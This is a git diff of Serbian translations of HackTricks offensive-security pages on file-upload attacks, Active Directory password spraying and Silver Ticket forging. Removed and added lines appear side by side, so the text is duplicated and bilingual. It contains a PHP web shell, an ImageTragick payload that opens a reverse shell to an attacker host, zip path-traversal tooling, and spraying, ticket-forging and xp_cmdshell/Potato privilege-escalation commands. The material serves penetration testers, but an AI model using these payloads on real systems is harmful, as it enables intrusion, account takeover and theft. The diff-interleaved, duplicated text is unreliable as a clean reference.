Automatizovani exploit za kreiranje takvih fajlova dostupan je na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Alat se može koristiti na sledeći način:
|
||||
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Dodatno, **symlink trick with evilarc** je opcija. Ako je cilj da se targetuje fajl kao što je `/flag.txt`, treba kreirati symlink ka tom fajlu na vašem sistemu. To obezbeđuje da evilarc ne naiđe na greške tokom svog rada.
|
||||
Dodatno, **symlink trick with evilarc** je opcija. Ako je cilj da se pristupi fajlu poput `/flag.txt`, trebalo bi kreirati symlink ka tom fajlu u vašem sistemu. To obezbeđuje da evilarc ne naiđe na greške tokom svog rada.
|
||||
|
||||
Ispod je primer Python koda koji se koristi za kreiranje malicioznog zip fajla:
|
||||
```python
|
||||
@ -256,9 +256,9 @@ create_zip()
|
||||
```
|
||||
**Zloupotreba kompresije za file spraying**
|
||||
|
||||
Za dodatne informacije **pogledajte originalni post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Kreiranje PHP Shell-a**: PHP kod koji izvršava komande prosleđene kroz promenljivu `$_REQUEST`.
|
||||
1. **Kreiranje PHP Shell-a**: PHP kod koji izvršava komande prosleđene putem promenljive `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -268,14 +268,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying i kreiranje kompresovanog fajla**: Kreira se više fajlova i sastavlja se zip arhiva koja sadrži te fajlove.
|
||||
2. **File Spraying and Compressed File Creation**: Kreira se više fajlova i sastavlja zip arhiva koja sadrži te fajlove.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Izmena pomoću Hex Editora ili vi**: Nazivi fajlova unutar zip-a se menjaju pomoću vi ili hex editora, zamenjujući "xxA" sa "../" radi traversiranja direktorijuma.
|
||||
3. **Modification with a Hex Editor or vi**: Imena fajlova unutar zip-a se menjaju koristeći vi ili hex editor, menjajući "xxA" u "../" kako bi se izvršilo prelaženje kroz direktorijume.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -285,38 +285,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Otpremite ovaj sadržaj sa image ekstenzijom da biste iskoristili ranjivost **(ImageMagick, 7.0.1-1)** (pogledajte [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Upload this content with an image extension to exploit the vulnerability **(ImageMagick , 7.0.1-1)** (from the [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Ubacivanje PHP shell-a u PNG
|
||||
## Embedding PHP Shell on PNG
|
||||
|
||||
Ubacivanje PHP shell-a u IDAT chunk PNG fajla može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, pošto se obično koriste za promenu veličine i resampling slika. Sposobnost ugrađenog PHP shell-a da ostane neizmenjen nakon ovih operacija predstavlja značajnu prednost u određenim slučajevima upotrebe.
|
||||
Umetanje PHP shell-a u IDAT chunk PNG fajla može efikasno zaobići određene operacije obrade slike. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD posebno su relevantne u ovom kontekstu, pošto se često koriste za promenu veličine i ponovno uzorkovanje slika. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen pri ovim operacijama predstavlja značajnu prednost za određene slučajeve upotrebe.
|
||||
|
||||
Detaljna analiza ove tehnike, uključujući metodologiju i potencijalne primene, predstavljena je u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj izvor pruža sveobuhvatno razumevanje procesa i njegovih implikacija.
|
||||
Detaljna analiza ove tehnike, uključujući metodologiju i potencijalne primene, dostupna je u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj resurs pruža sveobuhvatno razumevanje procesa i njegovih implikacija.
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
Više informacija: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot fajlovi
|
||||
## Polyglot Files
|
||||
|
||||
Polyglot fajlovi predstavljaju jedinstven alat u sajber bezbednosti, ponašajući se kao kameleon koji može istovremeno validno postojati u više formata fajlova. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takvi fajlovi nisu ograničeni na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe moguće.
|
||||
Polyglot files predstavljaju jedinstven alat u sajber bezbednosti, ponašajući se kao kameleon koji može validno postojati u više formata fajlova istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takvi fajlovi nisu ograničeni na ovu kombinaciju; moguće su i kombinacije poput GIF i JS ili PPT i JS.
|
||||
|
||||
Osnovna upotrebljivost polyglot fajlova leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje proveravaju fajlove na osnovu tipa. Uobičajena praksa u mnogim aplikacijama je dozvoljavanje samo određenih tipova fajlova za upload — poput JPEG, GIF ili DOC — kako bi se smanjio rizik od potencijalno opasnih formata (npr. JS, PHP ili Phar fajlovi). Međutim, polyglot, usklađujući se sa strukturnim kriterijumima više tipova fajlova, može tiho zaobići ova ograničenja.
|
||||
Suštinska korisnost polyglot fajlova leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju fajlove po tipu. Uobičajena praksa u različitim aplikacijama je dozvoliti samo određene tipove fajlova za upload—kao što su JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno opasnih formata (npr. JS, PHP ili Phar fajlovi). Međutim, polyglot, usklađujući se sa strukturnim kriterijumima više formata fajlova, može prikriveno zaobići ta ograničenja.
|
||||
|
||||
Uprkos svojoj prilagodljivosti, polygloti imaju ograničenja. Na primer, iako polyglot može istovremeno sadržati PHAR fajl (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politike platforme u vezi sa ekstenzijama fajlova. Ako je sistem strogo ograničen po pitanju dozvoljenih ekstenzija, sama strukturna dvojnica polyglota možda neće biti dovoljna da garantuje njegov upload.
|
||||
Uprkos svojoj prilagodljivosti, polygloti imaju ograničenja. Na primer, dok polyglot može istovremeno predstavljati PHAR fajl (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politike platforme u vezi ekstenzija fajlova. Ako sistem strogo zahteva dozvoljene ekstenzije, sama strukturna dvostrukost polyglota možda neće biti dovoljna da garantuje upload.
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
Više informacija: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Otpremanje validnih JSON fajlova kao da su PDF
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
Kako izbeći detekciju tipa fajla tako što ćete otpremiti validan JSON fajl čak i ako nije dozvoljen, falsifikujući ga kao PDF (tehnike iz **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
Kako izbeći detekciju tipa fajla tako što ćete upload-ovati validan JSON fajl čak i kada nije dozvoljen, tako što ćete ga predstaviti kao PDF (tehnike iz **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes it’s valid (get example from post)
|
||||
- **`pdflib` library**: Dodajte lažni PDF format unutar jednog polja JSON-a tako da biblioteka pomisli da je u pitanju PDF (pogledati primer u postu)
|
||||
- **`file` binary**: Može pročitati do 1048576 bajtova iz fajla. Jednostavno napravite JSON veći od toga tako da ne može da parsira sadržaj kao JSON, a zatim unutar JSON-a stavite početni deo pravog PDF-a i on će pomisliti da je PDF
|
||||
- **`mmmagic` library**: Dokle god su `%PDF` magični bajtovi u prvih 1024 bajta, smatra se validnim (pogledajte primer u postu)
|
||||
- **`pdflib` library**: Dodajte lažni PDF format unutar polja JSON-a tako da biblioteka misli da je u pitanju pdf (pogledajte primer u postu)
|
||||
- **`file` binary**: Može pročitati do 1048576 bajta iz fajla. Jednostavno kreirajte JSON veći od toga tako da ne može parsirati sadržaj kao JSON, a zatim unutra u JSON ubacite početni deo pravog PDF-a i on će misliti da je u pitanju PDF
|
||||
|
||||
## References
|
||||
|
||||
|
@ -1,7 +1,7 @@
|
||||
# Kerberos Authentication
|
||||
# Kerberos Autentikacija
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Pogledajte odličan članak:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
**Pogledajte sjajan post:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -5,14 +5,14 @@
|
||||
|
||||
## **Password Spraying**
|
||||
|
||||
Kada pronađete nekoliko **valid usernames** možete za svakog otkrivenog korisnika pokušati najčešće **common passwords** (imajte u vidu password policy okruženja).\
|
||||
Po **default**-u, **minimum** **password** **length** je **7**.
|
||||
Kada pronađete nekoliko **valid usernames** možete pokušati najčešće **common passwords** (imajte na umu password policy okruženja) sa svakim od otkrivenih korisnika.\
|
||||
Po **default** minimalna **password** **length** je **7**.
|
||||
|
||||
Liste **common usernames** takođe mogu biti korisne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
|
||||
Imajte na umu da možete **lockout some accounts if you try several wrong passwords** (po **default**-u više od 10).
|
||||
Imajte na umu da biste mogli **lockout some accounts if you try several wrong passwords** (po **default** više od 10).
|
||||
|
||||
### Dobijanje password policy
|
||||
### Get password policy
|
||||
|
||||
Ako imate user credentials ili shell kao domain user možete **get the password policy with**:
|
||||
```bash
|
||||
@ -31,7 +31,7 @@ net accounts
|
||||
|
||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||
```
|
||||
### Eksploatacija sa Linuxa (ili sa bilo kog OS-a)
|
||||
### Eksploatacija sa Linuxa (ili svih)
|
||||
|
||||
- Korišćenje **crackmapexec:**
|
||||
```bash
|
||||
@ -40,36 +40,36 @@ crackmapexec smb <IP> -u users.txt -p passwords.txt
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
- Koristeći [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
||||
- Korišćenje [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
||||
```bash
|
||||
# Password Spraying
|
||||
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
|
||||
# Brute-Force
|
||||
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
||||
```
|
||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(možete navesti broj pokušaja da biste izbegli zaključavanja naloga):**_
|
||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(možete navesti broj pokušaja da biste izbegli zaključavanje naloga):**_
|
||||
```bash
|
||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||
```
|
||||
- Korišćenje [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NE PREPORUČUJE SE; PONEKAD NE RADI
|
||||
- Korišćenje [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIJE PREPORUČENO, PONEKAD NE RADI
|
||||
```bash
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||
```
|
||||
- Pomoću modula `scanner/smb/smb_login` iz **Metasploit**:
|
||||
- Korišćenjem modula `scanner/smb/smb_login` u okviru **Metasploit**:
|
||||
|
||||
.png>)
|
||||
|
||||
- Koristeći **rpcclient**:
|
||||
- Korišćenjem **rpcclient**:
|
||||
```bash
|
||||
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
|
||||
for u in $(cat users.txt); do
|
||||
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
|
||||
done
|
||||
```
|
||||
#### Iz Windowsa
|
||||
#### Sa Windowsa
|
||||
|
||||
- Sa [Rubeus](https://github.com/Zer1t0/Rubeus) verzijom koja ima brute modul:
|
||||
- Sa [Rubeus](https://github.com/Zer1t0/Rubeus) verzijom koja sadrži brute module:
|
||||
```bash
|
||||
# with a list of users
|
||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||
@ -77,20 +77,20 @@ done
|
||||
# check passwords for all users in current domain
|
||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||
```
|
||||
- Korišćenjem [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Po defaultu može da generiše korisnike iz domena, da preuzme politiku lozinki iz domena i da ograniči pokušaje u skladu sa njom):
|
||||
- Uz [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Podrazumevano može da generiše korisnike iz domena i preuzme politiku lozinki iz domena i ograniči pokušaje u skladu sa njom):
|
||||
```bash
|
||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
- Uz [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
|
||||
- Sa [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
|
||||
```
|
||||
Invoke-SprayEmptyPassword
|
||||
```
|
||||
### Identifikovati i preuzeti naloge sa "Password must change at next logon" (SAMR)
|
||||
### Identifikujte i preuzmite naloge "Password must change at next logon" (SAMR)
|
||||
|
||||
Jedna nisko-bučna tehnika je primena password spraying-a benignom/praznom lozinkom i otkrivanje naloga koji vraćaju STATUS_PASSWORD_MUST_CHANGE, što ukazuje da je lozinka prisilno istekla i može se promeniti bez poznavanja stare.
|
||||
Nisko-bučna tehnika je izvršiti password spraying sa neškodljivom/praznom lozinkom i detektovati naloge koji vraćaju STATUS_PASSWORD_MUST_CHANGE, što ukazuje da je lozinka prisilno istekla i može se promeniti bez poznavanja stare.
|
||||
|
||||
Tok rada:
|
||||
- Enumerišite korisnike (RID brute via SAMR) kako biste izgradili listu ciljeva:
|
||||
Workflow:
|
||||
- Enumerišite korisnike (RID brute via SAMR) da biste napravili listu ciljeva:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
||||
@ -99,12 +99,12 @@ Tok rada:
|
||||
# NetExec (null/guest) + RID brute to harvest users
|
||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||
```
|
||||
- Spray praznu lozinku i nastavi dalje na pogodcima da bi uhvatio naloge koji moraju da promene lozinku pri sledećem logonu:
|
||||
- Spray praznu password i nastavi sa hits kako bi uhvatio naloge koji moraju da promene pri sledećem logonu:
|
||||
```bash
|
||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||
```
|
||||
- Za svaki hit, promenite lozinku preko SAMR-a koristeći NetExec’s module (stara lozinka nije potrebna kada je "must change" postavljeno):
|
||||
- Za svaki hit, promenite lozinku preko SAMR-a pomoću modula NetExec (stara lozinka nije potrebna kada je "must change" postavljeno):
|
||||
```bash
|
||||
# Strong complexity to satisfy policy
|
||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||
@ -114,8 +114,8 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
|
||||
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
||||
```
|
||||
Operativne napomene:
|
||||
- Osigurajte da je sat vašeg hosta sinhronizovan sa DC pre operacija zasnovanih na Kerberosu: `sudo ntpdate <dc_fqdn>`.
|
||||
- Znak [+] bez (Pwn3d!) u nekim modulima (npr. RDP/WinRM) znači da su kredencijali validni, ali nalog nema prava za interaktivnu prijavu.
|
||||
- Uverite se da je sat na vašem hostu sinhronizovan sa DC pre operacija zasnovanih na Kerberosu: `sudo ntpdate <dc_fqdn>`.
|
||||
- A [+] without (Pwn3d!) u nekim modulima (npr., RDP/WinRM) znači da su creds validni, ali nalog nema prava za interaktivnu prijavu.
|
||||
|
||||
## Brute Force
|
||||
```bash
|
||||
@ -123,15 +123,15 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
|
||||
```
|
||||
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
||||
|
||||
Kerberos pre-auth–based spraying smanjuje šum u odnosu na SMB/NTLM/LDAP bind pokušaje i bolje se uklapa sa AD lockout politikama. SpearSpray spaja LDAP-driven targeting, pattern engine i svest o politikama (domain policy + PSOs + badPwdCount buffer) da bi spray-ovao precizno i bezbedno. Takođe može da tag-uje kompromitovane principle u Neo4j za BloodHound pathing.
|
||||
Kerberos pre-auth–based spraying smanjuje šum u odnosu na SMB/NTLM/LDAP bind pokušaje i bolje se uklapa u AD lockout politike. SpearSpray kombinuje LDAP-driven targeting, pattern engine i svest o politikama (domain policy + PSOs + badPwdCount buffer) da bi spray-ovao precizno i bezbedno. Takođe može označiti kompromitovane principe u Neo4j za BloodHound pathing.
|
||||
|
||||
Key ideas:
|
||||
- LDAP user discovery sa paging-om i LDAPS podrškom, opciono koristeći custom LDAP filters.
|
||||
- Domain lockout policy + PSO-aware filtriranje da bi se ostavio konfigurisani buffer pokušaja (threshold) i izbeglo zaključavanje korisnika.
|
||||
- Kerberos pre-auth validation koristeći fast gssapi bindings (generiše 4768/4771 na DCs umesto 4625).
|
||||
- Pattern-based, per-user password generation koristeći varijable kao što su names i temporal values izvedene iz svakog user-ovog pwdLastSet.
|
||||
- Throughput control sa threads, jitter i max requests per second.
|
||||
- Optional Neo4j integration za označavanje kompromitovanih korisnika za BloodHound.
|
||||
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
|
||||
- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
|
||||
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
|
||||
- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
|
||||
- Throughput control with threads, jitter, and max requests per second.
|
||||
- Optional Neo4j integration to mark owned users for BloodHound.
|
||||
|
||||
Basic usage and discovery:
|
||||
```bash
|
||||
@ -174,15 +174,15 @@ Pregled sistema obrazaca (patterns.txt):
|
||||
{samaccountname}
|
||||
{extra}{separator}{year}{suffix}
|
||||
```
|
||||
Dostupne promenljive uključuju:
|
||||
Dostupne varijable uključuju:
|
||||
- {name}, {samaccountname}
|
||||
- Vremenske vrednosti iz pwdLastSet svakog korisnika (ili whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||
- Pomoćne promenljive za kompoziciju i org token: {separator}, {suffix}, {extra}
|
||||
- Pomoćne varijable za sastav i org token: {separator}, {suffix}, {extra}
|
||||
|
||||
Operativne napomene:
|
||||
- Preferirajte upite prema PDC-emulatoru sa -dc da biste pročitali najautoritativniji badPwdCount i informacije vezane za politiku.
|
||||
- Resetovanje badPwdCount se pokreće pri sledećem pokušaju nakon perioda posmatranja; koristite prag i tajming da ostanete bezbedni.
|
||||
- Pokušaji Kerberos pre-auth se pojavljuju kao 4768/4771 u DC telemetriji; koristite jitter i rate-limiting da se uklopite.
|
||||
- Preporučljivo je upitovati PDC-emulator sa -dc da biste pročitali najpouzdanije badPwdCount i informacije vezane za politiku.
|
||||
- Resetovanje badPwdCount se pokreće pri sledećem pokušaju nakon observation window; koristite threshold i timing da ostanete bezbedni.
|
||||
- Kerberos pre-auth attempts se evidentiraju kao 4768/4771 u DC telemetry; koristite jitter i rate-limiting da se uklopite.
|
||||
|
||||
> Savet: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
|
||||
|
||||
@ -196,7 +196,7 @@ Postoji više alata za p**assword spraying outlook**.
|
||||
- Sa [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||
- Sa [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||
|
||||
Za korišćenje bilo kog od ovih alata, potrebna vam je lista korisnika i jedna lozinka / mala lista lozinki za password spraying.
|
||||
Da biste koristili bilo koji od ovih alata, potrebna vam je lista korisnika i lozinka ili mala lista lozinki za password spraying.
|
||||
```bash
|
||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||
[x] Failed: larsson:Summer2020
|
||||
|
@ -6,11 +6,12 @@
|
||||
|
||||
## Silver ticket
|
||||
|
||||
Napad **Silver Ticket** uključuje eksploataciju servisnih tiketa u Active Directory (AD) okruženjima. Ova metoda se zasniva na **dobijanju NTLM hash-a service account-a**, kao što je računar-account, kako bi se falsifikovao Ticket Granting Service (TGS) tiket. Sa ovim falsifikovanim tiketom, napadač može pristupiti određenim servisima na mreži, **imitujući bilo kog korisnika**, obično sa ciljem sticanja administratorskih privilegija. Naglašeno je da je korišćenje AES keys za falsifikovanje tiketa sigurnije i teže za detektovanje.
|
||||
Napad **Silver Ticket** uključuje iskorišćavanje service tickets u Active Directory (AD) okruženjima. Ova metoda se zasniva na **acquiring the NTLM hash of a service account**, kao što je computer account, kako bi se forgedovao Ticket Granting Service (TGS) ticket. Pomoću ovog forged ticket-a napadač može pristupiti određenim servisima na mreži, **impersonating any user**, obično sa ciljem sticanja administratorskih privilegija. Naglašeno je da je korišćenje AES keys za forging tickets sigurnije i teže za detekciju.
|
||||
|
||||
> [!WARNING]
|
||||
> Silver Tickets su manje detektabilni od Golden Tickets zato što zahtevaju samo **hash of the service account**, a ne krbtgt account. Međutim, ograničeni su na specifičan servis koji ciljaju. Takođe, dovoljna je samo krađa lozinke korisnika.
|
||||
> Ako kompromituješ **lozinku naloga koji ima SPN** možeš iskoristiti tu lozinku da kreiraš Silver Ticket koji se predstavlja kao bilo koji korisnik za taj servis.
|
||||
> Silver Tickets su manje detektabilni od Golden Tickets zato što zahtevaju samo **hash of the service account**, a ne krbtgt account. Međutim, ograničeni su na konkretan servis na koji ciljaju. Takođe, dovoljno je samo ukrasti lozinku korisnika.
|
||||
>
|
||||
> Ukoliko kompromitujete **account's password with a SPN**, možete tu lozinku iskoristiti za kreiranje Silver Ticket-a koji impersonates any user prema tom servisu.
|
||||
|
||||
Za kreiranje tiketa koriste se različiti alati u zavisnosti od operativnog sistema:
|
||||
|
||||
@ -37,11 +38,11 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
|
||||
# Obtain a shell
|
||||
.\PsExec.exe -accepteula \\<TARGET> cmd
|
||||
```
|
||||
CIFS servis je istaknut kao uobičajeni cilj za pristup fajl sistemu žrtve, ali i drugi servisi poput HOST i RPCSS takođe mogu biti iskorišćeni za tasks i WMI upite.
|
||||
CIFS servis je istaknut kao česta meta za pristup fajl sistemu žrtve, ali i drugi servisi poput HOST i RPCSS mogu se iskoristiti za zadatke i WMI upite.
|
||||
|
||||
### Primer: MSSQL servis (MSSQLSvc) + Potato to SYSTEM
|
||||
### Primer: MSSQL servis (MSSQLSvc) + Potato na SYSTEM
|
||||
|
||||
Ako imate NTLM hash (ili AES ključ) SQL servisnog naloga (npr. sqlsvc), možete falsifikovati TGS za MSSQL SPN i impersonirati bilo kog korisnika prema SQL servisu. Odatle omogućite xp_cmdshell da izvršavate komande kao SQL servisni nalog. Ako taj token ima SeImpersonatePrivilege, upotrebite Potato za eskalaciju privilegija na SYSTEM.
|
||||
Ako imate NTLM hash (ili AES key) za SQL service account (npr. sqlsvc), možete falsifikovati TGS za MSSQL SPN i lažno se predstaviti kao bilo koji korisnik prema SQL servisu. Zatim omogućite xp_cmdshell da izvršavate komande kao SQL service account. Ako taj token ima SeImpersonatePrivilege, iskoristite Potato da eskalirate privilegije na SYSTEM.
|
||||
```bash
|
||||
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
|
||||
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
|
||||
@ -52,7 +53,7 @@ export KRB5CCNAME=$PWD/administrator.ccache
|
||||
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
|
||||
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
|
||||
```
|
||||
- Ako rezultujući kontekst ima SeImpersonatePrivilege (obično tačno za service accounts), koristi Potato varijantu da dobiješ SYSTEM:
|
||||
- Ako kontekst koji je dobijen ima SeImpersonatePrivilege (često tačno za servisne naloge), koristi Potato varijantu da dobiješ SYSTEM:
|
||||
```bash
|
||||
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
|
||||
PrintSpoofer.exe -c "cmd /c whoami"
|
||||
@ -65,7 +66,7 @@ Više detalja o zloupotrebi MSSQL i omogućavanju xp_cmdshell:
|
||||
abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
||||
Pregled Potato tehnika:
|
||||
Potato techniques overview:
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
|
||||
@ -73,44 +74,44 @@ Pregled Potato tehnika:
|
||||
|
||||
## Dostupne usluge
|
||||
|
||||
| Service Type | Service Silver Tickets |
|
||||
| Tip usluge | Service Silver Tickets |
|
||||
| ------------------------------------------ | -------------------------------------------------------------------------- |
|
||||
| WMI | <p>HOST</p><p>RPCSS</p> |
|
||||
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>U zavisnosti od OS-a takođe:</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>U nekim slučajevima možete jednostavno tražiti: WINRM</p> |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>U nekim slučajevima možete jednostavno zatražiti: WINRM</p> |
|
||||
| Scheduled Tasks | HOST |
|
||||
| Windows File Share, also psexec | CIFS |
|
||||
| LDAP operations, included DCSync | LDAP |
|
||||
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
|
||||
| Golden Tickets | krbtgt |
|
||||
|
||||
Pomoću Rubeusa možete zatražiti sve ove tikete koristeći parametar:
|
||||
Korišćenjem **Rubeus** možete **zatražiti sve** ove tikete koristeći parametar:
|
||||
|
||||
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
|
||||
|
||||
### Event ID-ovi za Silver tickets
|
||||
### Event ID-ovi za Silver tikete
|
||||
|
||||
- 4624: Account Logon
|
||||
- 4634: Account Logoff
|
||||
- 4672: Admin Logon
|
||||
- 4624: Prijava naloga
|
||||
- 4634: Odjava naloga
|
||||
- 4672: Administratorsko prijavljivanje
|
||||
|
||||
## Persistencija
|
||||
## Održavanje pristupa
|
||||
|
||||
Da biste sprečili da mašine menjaju svoju lozinku na svakih 30 dana, podesite `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ili možete podesiti `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` na veću vrednost od 30 dana da označite period rotacije kada lozinka mašine treba da bude promenjena.
|
||||
